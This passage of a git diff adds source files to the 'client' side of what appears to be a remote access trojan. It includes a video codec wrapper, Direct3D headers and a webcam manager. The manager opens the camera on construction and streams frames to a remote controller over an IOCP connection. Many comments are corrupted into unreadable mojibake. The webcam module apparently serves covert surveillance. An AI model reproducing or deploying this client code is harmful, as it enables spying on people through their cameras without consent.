<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||||
|
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="头文件">
|
||||||
|
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||||
|
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="资源文件">
|
||||||
|
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||||
|
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||||
|
</Filter>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="test.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="resource1.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ResourceCompile Include="TestRun.rc">
|
||||||
|
<Filter>资源文件</Filter>
|
||||||
|
</ResourceCompile>
|
||||||
|
</ItemGroup>
|
||||||
|
</Project>
|
||||||
135
client/VideoCodec.h
Normal file
135
client/VideoCodec.h
Normal file
@@ -0,0 +1,135 @@
|
|||||||
|
#if !defined(AFX_VIDEOCODEC_H_INCLUDED)
|
||||||
|
#define AFX_VIDEOCODEC_H_INCLUDED
|
||||||
|
|
||||||
|
#include <VFW.H>
|
||||||
|
|
||||||
|
class CVideoCodec
|
||||||
|
{
|
||||||
|
COMPVARS m_cv;
|
||||||
|
HIC m_hIC;
|
||||||
|
BITMAPINFO* m_lpbmiInput;
|
||||||
|
BITMAPINFO m_bmiOutput;
|
||||||
|
|
||||||
|
public:
|
||||||
|
|
||||||
|
bool InitCompressor(BITMAPINFO* lpbmi, DWORD fccHandler)
|
||||||
|
{
|
||||||
|
if (lpbmi == NULL)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
m_lpbmiInput = lpbmi;
|
||||||
|
|
||||||
|
ZeroMemory(&m_cv, sizeof(m_cv));
|
||||||
|
m_cv.cbSize = sizeof(m_cv);
|
||||||
|
m_cv.dwFlags = ICMF_COMPVARS_VALID;
|
||||||
|
m_cv.hic = m_hIC;
|
||||||
|
m_cv.fccType = ICTYPE_VIDEO;
|
||||||
|
m_cv.fccHandler = fccHandler;
|
||||||
|
m_cv.lpbiOut = NULL;
|
||||||
|
m_cv.lKey = 10;
|
||||||
|
m_cv.lDataRate = 6;
|
||||||
|
m_cv.lQ = ICQUALITY_HIGH;
|
||||||
|
|
||||||
|
m_hIC = ICOpen(ICTYPE_VIDEO, m_cv.fccHandler, ICMODE_COMPRESS | ICMODE_DECOMPRESS);
|
||||||
|
|
||||||
|
if (m_hIC == NULL)
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
ICCompressGetFormat(m_hIC, m_lpbmiInput, &m_bmiOutput);
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>֤
|
||||||
|
ICSendMessage(m_hIC, 0x60c9, 0xf7329ace, 0xacdeaea2);
|
||||||
|
|
||||||
|
m_cv.hic = m_hIC;
|
||||||
|
m_cv.dwFlags = ICMF_COMPVARS_VALID;
|
||||||
|
|
||||||
|
if (!ICSeqCompressFrameStart(&m_cv, m_lpbmiInput))
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
ICDecompressBegin(m_hIC, &m_bmiOutput , m_lpbmiInput);
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool DecodeVideoData(BYTE *pin, int len, BYTE* pout, int *lenr,DWORD flag)
|
||||||
|
{
|
||||||
|
if(!pin || !pout ||!m_hIC)
|
||||||
|
return false;
|
||||||
|
if (ICDecompress(m_hIC, flag, &m_bmiOutput.bmiHeader, pin, &m_lpbmiInput->bmiHeader, pout) != ICERR_OK)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
if (lenr) *lenr = m_lpbmiInput->bmiHeader.biSizeImage;
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool EncodeVideoData(BYTE* pin, int len, BYTE* pout, int* lenr, bool* pKey)
|
||||||
|
{
|
||||||
|
BYTE *p;
|
||||||
|
long s = 1;
|
||||||
|
BOOL k = true;
|
||||||
|
if ( !pin || !pout || len != (int)m_lpbmiInput->bmiHeader.biSizeImage || !m_hIC)
|
||||||
|
return false;
|
||||||
|
p = (BYTE*)ICSeqCompressFrame(&m_cv, 0, pin, &k, &s);
|
||||||
|
|
||||||
|
if (!p) return false;
|
||||||
|
if (lenr) *lenr = s;
|
||||||
|
if (pKey) *pKey = k;
|
||||||
|
|
||||||
|
CopyMemory(pout, p, s);
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
CVideoCodec()
|
||||||
|
{
|
||||||
|
m_lpbmiInput = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual ~CVideoCodec()
|
||||||
|
{
|
||||||
|
// No init yet or init error
|
||||||
|
if (m_hIC == NULL)
|
||||||
|
return;
|
||||||
|
ICDecompressEnd(m_hIC);
|
||||||
|
ICSeqCompressFrameEnd(&m_cv);
|
||||||
|
ICCompressorFree(&m_cv);
|
||||||
|
ICClose(m_hIC);
|
||||||
|
}
|
||||||
|
|
||||||
|
int MyEnumCodecs(int *fccHandler, char *strName)
|
||||||
|
{
|
||||||
|
static int i = 0;
|
||||||
|
int nRet = 1;
|
||||||
|
HIC hIC;
|
||||||
|
ICINFO icInfo;
|
||||||
|
|
||||||
|
if (fccHandler == NULL)
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
if(!ICInfo(ICTYPE_VIDEO, i, &icInfo))
|
||||||
|
{
|
||||||
|
i = 0;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
hIC = ICOpen(icInfo.fccType, icInfo.fccHandler, ICMODE_QUERY);
|
||||||
|
|
||||||
|
if (hIC)
|
||||||
|
{
|
||||||
|
ICGetInfo(hIC, &icInfo, sizeof(icInfo));
|
||||||
|
*fccHandler = icInfo.fccHandler;
|
||||||
|
//<2F><><EFBFBD>ڵõ<DAB5><C3B5><EFBFBD>szDescription<6F><6E>UNICODE˫<45>ֽ<EFBFBD><D6BD>ִ<EFBFBD><D6B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫת<D2AA><D7AA>ΪASCII<49><49>
|
||||||
|
if (strName != NULL)
|
||||||
|
wcstombs(strName, icInfo.szDescription, 256);
|
||||||
|
}
|
||||||
|
else nRet = -1;
|
||||||
|
|
||||||
|
ICClose(hIC);
|
||||||
|
i++;
|
||||||
|
return nRet;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
#endif // !defined(AFX_VIDEOCODEC_H_INCLUDED)
|
||||||
180
client/VideoManager.cpp
Normal file
180
client/VideoManager.cpp
Normal file
@@ -0,0 +1,180 @@
|
|||||||
|
// VideoManager.cpp: implementation of the CVideoManager class.
|
||||||
|
//
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "VideoManager.h"
|
||||||
|
#include "Common.h"
|
||||||
|
#include <iostream>
|
||||||
|
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
// Construction/Destruction
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
CVideoManager::CVideoManager(IOCPClient* ClientObject, int n) : CManager(ClientObject)
|
||||||
|
{
|
||||||
|
m_bIsWorking = TRUE;
|
||||||
|
|
||||||
|
m_bIsCompress = false;
|
||||||
|
m_pVideoCodec = NULL;
|
||||||
|
m_fccHandler = 1129730893;
|
||||||
|
|
||||||
|
m_CapVideo.Open(0,0); // <20><><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
m_hWorkThread = CreateThread(NULL, 0,
|
||||||
|
(LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
DWORD CVideoManager::WorkThread(LPVOID lParam)
|
||||||
|
{
|
||||||
|
CVideoManager *This = (CVideoManager *)lParam;
|
||||||
|
static DWORD dwLastScreen = GetTickCount();
|
||||||
|
|
||||||
|
if (This->Initialize()) //ת<><D7AA>Initialize
|
||||||
|
{
|
||||||
|
This->m_bIsCompress=true; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><C3BF><EFBFBD>ѹ<EFBFBD><D1B9>
|
||||||
|
}
|
||||||
|
|
||||||
|
This->SendBitMapInfor(); //<2F><><EFBFBD><EFBFBD>bmpλͼ<CEBB>ṹ
|
||||||
|
// <20>ȿ<EFBFBD><C8BF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
This->WaitForDialogOpen();
|
||||||
|
|
||||||
|
while (This->m_bIsWorking)
|
||||||
|
{
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD>ٶ<EFBFBD>
|
||||||
|
if ((GetTickCount() - dwLastScreen) < 150)
|
||||||
|
Sleep(100);
|
||||||
|
|
||||||
|
dwLastScreen = GetTickCount();
|
||||||
|
This->SendNextScreen(); //<2F><><EFBFBD><EFBFBD>û<EFBFBD><C3BB>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD>صĴ<D8B5><C4B4><EFBFBD><EFBFBD>ˣ<EFBFBD><CBA3><EFBFBD><EFBFBD>ǵ<EFBFBD>sendNextScreen <20><><EFBFBD><EFBFBD>
|
||||||
|
}
|
||||||
|
|
||||||
|
This->Destroy();
|
||||||
|
std::cout<<"CVideoManager WorkThread end\n";
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
CVideoManager::~CVideoManager()
|
||||||
|
{
|
||||||
|
InterlockedExchange((LPLONG)&m_bIsWorking, FALSE);
|
||||||
|
|
||||||
|
WaitForSingleObject(m_hWorkThread, INFINITE);
|
||||||
|
CloseHandle(m_hWorkThread);
|
||||||
|
std::cout<<"CVideoManager ~CVideoManager \n";
|
||||||
|
if (m_pVideoCodec) //ѹ<><D1B9><EFBFBD><EFBFBD>
|
||||||
|
{
|
||||||
|
delete m_pVideoCodec;
|
||||||
|
m_pVideoCodec = NULL;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void CVideoManager::Destroy()
|
||||||
|
{
|
||||||
|
std::cout<<"CVideoManager Destroy \n";
|
||||||
|
if (m_pVideoCodec) //ѹ<><D1B9><EFBFBD><EFBFBD>
|
||||||
|
{
|
||||||
|
delete m_pVideoCodec;
|
||||||
|
m_pVideoCodec = NULL;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void CVideoManager::SendBitMapInfor()
|
||||||
|
{
|
||||||
|
DWORD dwBytesLength = 1 + sizeof(BITMAPINFO);
|
||||||
|
LPBYTE szBuffer = new BYTE[dwBytesLength];
|
||||||
|
if (szBuffer == NULL)
|
||||||
|
return;
|
||||||
|
|
||||||
|
szBuffer[0] = TOKEN_WEBCAM_BITMAPINFO; //+ ͷ
|
||||||
|
memcpy(szBuffer + 1, m_CapVideo.GetBmpInfor(), sizeof(BITMAPINFO));
|
||||||
|
m_ClientObject->OnServerSending((char*)szBuffer, dwBytesLength);
|
||||||
|
delete [] szBuffer;
|
||||||
|
}
|
||||||
|
|
||||||
|
void CVideoManager::SendNextScreen()
|
||||||
|
{
|
||||||
|
DWORD dwBmpImageSize=0;
|
||||||
|
LPVOID lpDIB =m_CapVideo.GetDIB(dwBmpImageSize); //m_pVideoCap->GetDIB();
|
||||||
|
// token + IsCompress + m_fccHandler + DIB
|
||||||
|
int nHeadLen = 1 + 1 + 4;
|
||||||
|
|
||||||
|
UINT nBufferLen = nHeadLen + dwBmpImageSize;//m_pVideoCap->m_lpbmi->bmiHeader.biSizeImage;
|
||||||
|
LPBYTE lpBuffer = new BYTE[nBufferLen];
|
||||||
|
|
||||||
|
lpBuffer[0] = TOKEN_WEBCAM_DIB;
|
||||||
|
lpBuffer[1] = m_bIsCompress; //ѹ<><D1B9>
|
||||||
|
|
||||||
|
memcpy(lpBuffer + 2, &m_fccHandler, sizeof(DWORD)); //<2F><><EFBFBD>ォ<EFBFBD><EFBDAB>Ƶѹ<C6B5><D1B9><EFBFBD><EFBFBD>д<EFBFBD><D0B4>Ҫ<EFBFBD><D2AA><EFBFBD>͵Ļ<CDB5><C4BB><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
UINT nPacketLen = 0;
|
||||||
|
if (m_bIsCompress && m_pVideoCodec) //<2F><><EFBFBD><EFBFBD><EFBFBD>жϣ<D0B6><CFA3>Ƿ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD>ѹ<EFBFBD><D1B9>
|
||||||
|
{
|
||||||
|
int nCompressLen = 0;
|
||||||
|
//<2F><><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
bool bRet = m_pVideoCodec->EncodeVideoData((LPBYTE)lpDIB,
|
||||||
|
m_CapVideo.GetBmpInfor()->bmiHeader.biSizeImage, lpBuffer + nHeadLen,
|
||||||
|
&nCompressLen, NULL);
|
||||||
|
if (!nCompressLen)
|
||||||
|
{
|
||||||
|
// some thing error
|
||||||
|
delete [] lpBuffer;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
//<2F><><EFBFBD>¼<EFBFBD><C2BC>㷢<EFBFBD><E3B7A2><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0>Ĵ<EFBFBD>С ʣ<>¾<EFBFBD><C2BE>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD>ˣ<EFBFBD><CBA3><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD>ض˿<D8B6>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ô<EFBFBD><C3B4><EFBFBD><EFBFBD>
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD>ض˵<D8B6>void CVideoDlg::OnReceiveComplete(void)
|
||||||
|
nPacketLen = nCompressLen + nHeadLen;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
//<2F><>ѹ<EFBFBD><D1B9> <20><>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD>
|
||||||
|
memcpy(lpBuffer + nHeadLen, lpDIB, dwBmpImageSize);
|
||||||
|
nPacketLen = dwBmpImageSize+ nHeadLen;
|
||||||
|
}
|
||||||
|
m_CapVideo.SendEnd(); //copy send
|
||||||
|
|
||||||
|
m_ClientObject->OnServerSending((char*)lpBuffer, nPacketLen);
|
||||||
|
|
||||||
|
delete [] lpBuffer;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
VOID CVideoManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||||
|
{
|
||||||
|
switch (szBuffer[0])
|
||||||
|
{
|
||||||
|
case COMMAND_NEXT:
|
||||||
|
{
|
||||||
|
NotifyDialogIsOpen();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL CVideoManager::Initialize()
|
||||||
|
{
|
||||||
|
BOOL bRet = TRUE;
|
||||||
|
|
||||||
|
if (m_pVideoCodec!=NULL)
|
||||||
|
{
|
||||||
|
delete m_pVideoCodec;
|
||||||
|
m_pVideoCodec=NULL;
|
||||||
|
}
|
||||||
|
if (m_fccHandler==0) //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9>
|
||||||
|
{
|
||||||
|
bRet= FALSE;
|
||||||
|
return bRet;
|
||||||
|
}
|
||||||
|
m_pVideoCodec = new CVideoCodec;
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶѹ<C6B5><D1B9> <20><>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD> m_fccHandler(<28><><EFBFBD><EFBFBD><EFBFBD>캯<EFBFBD><ECBAAF><EFBFBD>в鿴)
|
||||||
|
if (!m_pVideoCodec->InitCompressor(m_CapVideo.GetBmpInfor(), m_fccHandler))
|
||||||
|
{
|
||||||
|
delete m_pVideoCodec;
|
||||||
|
bRet=FALSE;
|
||||||
|
// <20><>NULL, <20><><EFBFBD><EFBFBD>ʱ<EFBFBD>ж<EFBFBD><D0B6>Ƿ<EFBFBD>ΪNULL<4C><4C><EFBFBD>ж<EFBFBD><D0B6>Ƿ<EFBFBD>ѹ<EFBFBD><D1B9>
|
||||||
|
m_pVideoCodec = NULL;
|
||||||
|
}
|
||||||
|
return bRet;
|
||||||
|
}
|
||||||
40
client/VideoManager.h
Normal file
40
client/VideoManager.h
Normal file
@@ -0,0 +1,40 @@
|
|||||||
|
// VideoManager.h: interface for the CVideoManager class.
|
||||||
|
//
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
#if !defined(AFX_VIDEOMANAGER_H__883F2A96_1F93_4657_A169_5520CB142D46__INCLUDED_)
|
||||||
|
#define AFX_VIDEOMANAGER_H__883F2A96_1F93_4657_A169_5520CB142D46__INCLUDED_
|
||||||
|
|
||||||
|
#if _MSC_VER > 1000
|
||||||
|
#pragma once
|
||||||
|
#endif // _MSC_VER > 1000
|
||||||
|
|
||||||
|
#include "Manager.h"
|
||||||
|
#include "CaptureVideo.h"
|
||||||
|
#include "VideoCodec.h"
|
||||||
|
|
||||||
|
class CVideoManager : public CManager
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
CVideoManager(IOCPClient* ClientObject, int n) ;
|
||||||
|
virtual ~CVideoManager();
|
||||||
|
|
||||||
|
BOOL m_bIsWorking;
|
||||||
|
HANDLE m_hWorkThread;
|
||||||
|
|
||||||
|
void CVideoManager::SendBitMapInfor();
|
||||||
|
void CVideoManager::SendNextScreen();
|
||||||
|
static DWORD WorkThread(LPVOID lParam);
|
||||||
|
|
||||||
|
CCaptureVideo m_CapVideo;
|
||||||
|
VOID CVideoManager::OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||||
|
BOOL CVideoManager::Initialize();
|
||||||
|
|
||||||
|
DWORD m_fccHandler;
|
||||||
|
bool m_bIsCompress;
|
||||||
|
|
||||||
|
CVideoCodec *m_pVideoCodec; //ѹ<><D1B9><EFBFBD><EFBFBD>
|
||||||
|
void CVideoManager::Destroy();
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif // !defined(AFX_VIDEOMANAGER_H__883F2A96_1F93_4657_A169_5520CB142D46__INCLUDED_)
|
||||||
94
client/d3drm.h
Normal file
94
client/d3drm.h
Normal file
@@ -0,0 +1,94 @@
|
|||||||
|
/* $Revision: 1.2 $ */
|
||||||
|
#ifndef _LCC__D3DRM_H__
|
||||||
|
#define _LCC__D3DRM_H__
|
||||||
|
#include "ddraw.h"
|
||||||
|
#include "d3drmobj.h"
|
||||||
|
typedef void (*D3DRMDEVICEPALETTECALLBACK)(LPDIRECT3DRMDEVICE,LPVOID,DWORD,LONG,LONG,LONG);
|
||||||
|
DEFINE_GUID(IID_IDirect3DRM, 0x2bc49361, 0x8327, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||||
|
WIN_TYPES(IDirect3DRM, DIRECT3DRM);
|
||||||
|
STDAPI Direct3DRMCreate(LPDIRECT3DRM *lplpDirect3DRM);
|
||||||
|
#undef INTERFACE
|
||||||
|
#define INTERFACE IDirect3DRM
|
||||||
|
DECLARE_INTERFACE_(IDirect3DRM, IUnknown)
|
||||||
|
{
|
||||||
|
IUNKNOWN_METHODS(PURE);
|
||||||
|
|
||||||
|
STDMETHOD(CreateObject)
|
||||||
|
(THIS_ REFCLSID rclsid, LPUNKNOWN pUnkOuter, REFIID riid, LPVOID FAR* ppv) PURE;
|
||||||
|
STDMETHOD(CreateFrame) (THIS_ LPDIRECT3DRMFRAME, LPDIRECT3DRMFRAME *) PURE;
|
||||||
|
STDMETHOD(CreateMesh) (THIS_ LPDIRECT3DRMMESH *) PURE;
|
||||||
|
STDMETHOD(CreateMeshBuilder)(THIS_ LPDIRECT3DRMMESHBUILDER *) PURE;
|
||||||
|
STDMETHOD(CreateFace) (THIS_ LPDIRECT3DRMFACE *) PURE;
|
||||||
|
STDMETHOD(CreateAnimation) (THIS_ LPDIRECT3DRMANIMATION *) PURE;
|
||||||
|
STDMETHOD(CreateAnimationSet)(THIS_ LPDIRECT3DRMANIMATIONSET *) PURE;
|
||||||
|
STDMETHOD(CreateTexture) (THIS_ LPD3DRMIMAGE, LPDIRECT3DRMTEXTURE *) PURE;
|
||||||
|
STDMETHOD(CreateLight) (THIS_ D3DRMLIGHTTYPE, D3DCOLOR, LPDIRECT3DRMLIGHT *) PURE;
|
||||||
|
STDMETHOD(CreateLightRGB)
|
||||||
|
(THIS_ D3DRMLIGHTTYPE, D3DVALUE, D3DVALUE, D3DVALUE, LPDIRECT3DRMLIGHT *) PURE;
|
||||||
|
STDMETHOD(CreateMaterial) (THIS_ D3DVALUE, LPDIRECT3DRMMATERIAL *) PURE;
|
||||||
|
STDMETHOD(CreateDevice) (THIS_ DWORD, DWORD, LPDIRECT3DRMDEVICE *) PURE;
|
||||||
|
STDMETHOD(CreateDeviceFromSurface)
|
||||||
|
( THIS_ LPGUID lpGUID, LPDIRECTDRAW lpDD,
|
||||||
|
LPDIRECTDRAWSURFACE lpDDSBack, LPDIRECT3DRMDEVICE *
|
||||||
|
) PURE;
|
||||||
|
STDMETHOD(CreateDeviceFromD3D)
|
||||||
|
( THIS_ LPDIRECT3D lpD3D, LPDIRECT3DDEVICE lpD3DDev,
|
||||||
|
LPDIRECT3DRMDEVICE *
|
||||||
|
) PURE;
|
||||||
|
STDMETHOD(CreateDeviceFromClipper)
|
||||||
|
( THIS_ LPDIRECTDRAWCLIPPER lpDDClipper, LPGUID lpGUID,
|
||||||
|
int width, int height, LPDIRECT3DRMDEVICE *) PURE;
|
||||||
|
STDMETHOD(CreateTextureFromSurface)(THIS_ LPDIRECTDRAWSURFACE lpDDS, LPDIRECT3DRMTEXTURE *) PURE;
|
||||||
|
STDMETHOD(CreateShadow)
|
||||||
|
( THIS_ LPDIRECT3DRMVISUAL, LPDIRECT3DRMLIGHT,
|
||||||
|
D3DVALUE px, D3DVALUE py, D3DVALUE pz,
|
||||||
|
D3DVALUE nx, D3DVALUE ny, D3DVALUE nz,
|
||||||
|
LPDIRECT3DRMVISUAL *
|
||||||
|
) PURE;
|
||||||
|
STDMETHOD(CreateViewport)
|
||||||
|
( THIS_ LPDIRECT3DRMDEVICE, LPDIRECT3DRMFRAME, DWORD, DWORD,
|
||||||
|
DWORD, DWORD, LPDIRECT3DRMVIEWPORT *
|
||||||
|
) PURE;
|
||||||
|
STDMETHOD(CreateWrap)
|
||||||
|
( THIS_ D3DRMWRAPTYPE, LPDIRECT3DRMFRAME,
|
||||||
|
D3DVALUE ox, D3DVALUE oy, D3DVALUE oz,
|
||||||
|
D3DVALUE dx, D3DVALUE dy, D3DVALUE dz,
|
||||||
|
D3DVALUE ux, D3DVALUE uy, D3DVALUE uz,
|
||||||
|
D3DVALUE ou, D3DVALUE ov,
|
||||||
|
D3DVALUE su, D3DVALUE sv,
|
||||||
|
LPDIRECT3DRMWRAP *
|
||||||
|
) PURE;
|
||||||
|
STDMETHOD(CreateUserVisual) (THIS_ D3DRMUSERVISUALCALLBACK, LPVOID lPArg, LPDIRECT3DRMUSERVISUAL *) PURE;
|
||||||
|
STDMETHOD(LoadTexture) (THIS_ const char *, LPDIRECT3DRMTEXTURE *) PURE;
|
||||||
|
STDMETHOD(LoadTextureFromResource) (THIS_ HRSRC rs, LPDIRECT3DRMTEXTURE *) PURE;
|
||||||
|
STDMETHOD(SetSearchPath) (THIS_ LPCSTR) PURE;
|
||||||
|
STDMETHOD(AddSearchPath) (THIS_ LPCSTR) PURE;
|
||||||
|
STDMETHOD(GetSearchPath) (THIS_ DWORD *size_return, LPSTR path_return);
|
||||||
|
STDMETHOD(SetDefaultTextureColors)(THIS_ DWORD) PURE;
|
||||||
|
STDMETHOD(SetDefaultTextureShades)(THIS_ DWORD) PURE;
|
||||||
|
STDMETHOD(GetDevices) (THIS_ LPDIRECT3DRMDEVICEARRAY *) PURE;
|
||||||
|
STDMETHOD(GetNamedObject) (THIS_ const char *, LPDIRECT3DRMOBJECT *) PURE;
|
||||||
|
STDMETHOD(EnumerateObjects) (THIS_ D3DRMOBJECTCALLBACK, LPVOID) PURE;
|
||||||
|
STDMETHOD(Load)
|
||||||
|
( THIS_ LPVOID, LPVOID, LPIID *, DWORD, D3DRMLOADOPTIONS,
|
||||||
|
D3DRMLOADCALLBACK, LPVOID, D3DRMLOADTEXTURECALLBACK, LPVOID,
|
||||||
|
LPDIRECT3DRMFRAME
|
||||||
|
) PURE;
|
||||||
|
STDMETHOD(Tick) (THIS_ D3DVALUE) PURE;
|
||||||
|
};
|
||||||
|
#define D3DRM_OK DD_OK
|
||||||
|
#define D3DRMERR_BADOBJECT MAKE_DDHRESULT(781)
|
||||||
|
#define D3DRMERR_BADTYPE MAKE_DDHRESULT(782)
|
||||||
|
#define D3DRMERR_BADALLOC MAKE_DDHRESULT(783)
|
||||||
|
#define D3DRMERR_FACEUSED MAKE_DDHRESULT(784)
|
||||||
|
#define D3DRMERR_NOTFOUND MAKE_DDHRESULT(785)
|
||||||
|
#define D3DRMERR_NOTDONEYET MAKE_DDHRESULT(786)
|
||||||
|
#define D3DRMERR_FILENOTFOUND MAKE_DDHRESULT(787)
|
||||||
|
#define D3DRMERR_BADFILE MAKE_DDHRESULT(788)
|
||||||
|
#define D3DRMERR_BADDEVICE MAKE_DDHRESULT(789)
|
||||||
|
#define D3DRMERR_BADVALUE MAKE_DDHRESULT(790)
|
||||||
|
#define D3DRMERR_BADMAJORVERSION MAKE_DDHRESULT(791)
|
||||||
|
#define D3DRMERR_BADMINORVERSION MAKE_DDHRESULT(792)
|
||||||
|
#define D3DRMERR_UNABLETOEXECUTE MAKE_DDHRESULT(793)
|
||||||
|
#endif
|
||||||
|
|
||||||
208
client/d3drmdef.h
Normal file
208
client/d3drmdef.h
Normal file
@@ -0,0 +1,208 @@
|
|||||||
|
/* $Revision: 1.2 $ */
|
||||||
|
#ifndef __D3DRMDEFS_H__
|
||||||
|
#define __D3DRMDEFS_H__
|
||||||
|
#include <stddef.h>
|
||||||
|
#include "d3dtypes.h"
|
||||||
|
#define D3DRMAPI __stdcall
|
||||||
|
#ifndef TRUE
|
||||||
|
#define FALSE 0
|
||||||
|
#define TRUE 1
|
||||||
|
#endif
|
||||||
|
typedef struct _D3DRMVECTOR4D { D3DVALUE x, y, z, w; } D3DRMVECTOR4D, *LPD3DRMVECTOR4D;
|
||||||
|
typedef D3DVALUE D3DRMMATRIX4D[4][4];
|
||||||
|
typedef struct _D3DRMQUATERNION { D3DVALUE s; D3DVECTOR v; } D3DRMQUATERNION, *LPD3DRMQUATERNION;
|
||||||
|
typedef struct _D3DRMBOX { D3DVECTOR min, max; } D3DRMBOX, *LPD3DRMBOX;
|
||||||
|
typedef void (*D3DRMWRAPCALLBACK) (LPD3DVECTOR, int*,int* ,LPD3DVECTOR,LPD3DVECTOR,LPVOID);
|
||||||
|
typedef enum _D3DRMLIGHTTYPE
|
||||||
|
{ D3DRMLIGHT_AMBIENT,
|
||||||
|
D3DRMLIGHT_POINT,
|
||||||
|
D3DRMLIGHT_SPOT,
|
||||||
|
D3DRMLIGHT_DIRECTIONAL,
|
||||||
|
D3DRMLIGHT_PARALLELPOINT
|
||||||
|
} D3DRMLIGHTTYPE, *LPD3DRMLIGHTTYPE;
|
||||||
|
typedef enum _D3DRMSHADEMODE {
|
||||||
|
D3DRMSHADE_FLAT = 0,
|
||||||
|
D3DRMSHADE_GOURAUD = 1,
|
||||||
|
D3DRMSHADE_PHONG = 2,
|
||||||
|
D3DRMSHADE_MASK = 7,
|
||||||
|
D3DRMSHADE_MAX = 8
|
||||||
|
} D3DRMSHADEMODE, *LPD3DRMSHADEMODE;
|
||||||
|
typedef enum _D3DRMLIGHTMODE {
|
||||||
|
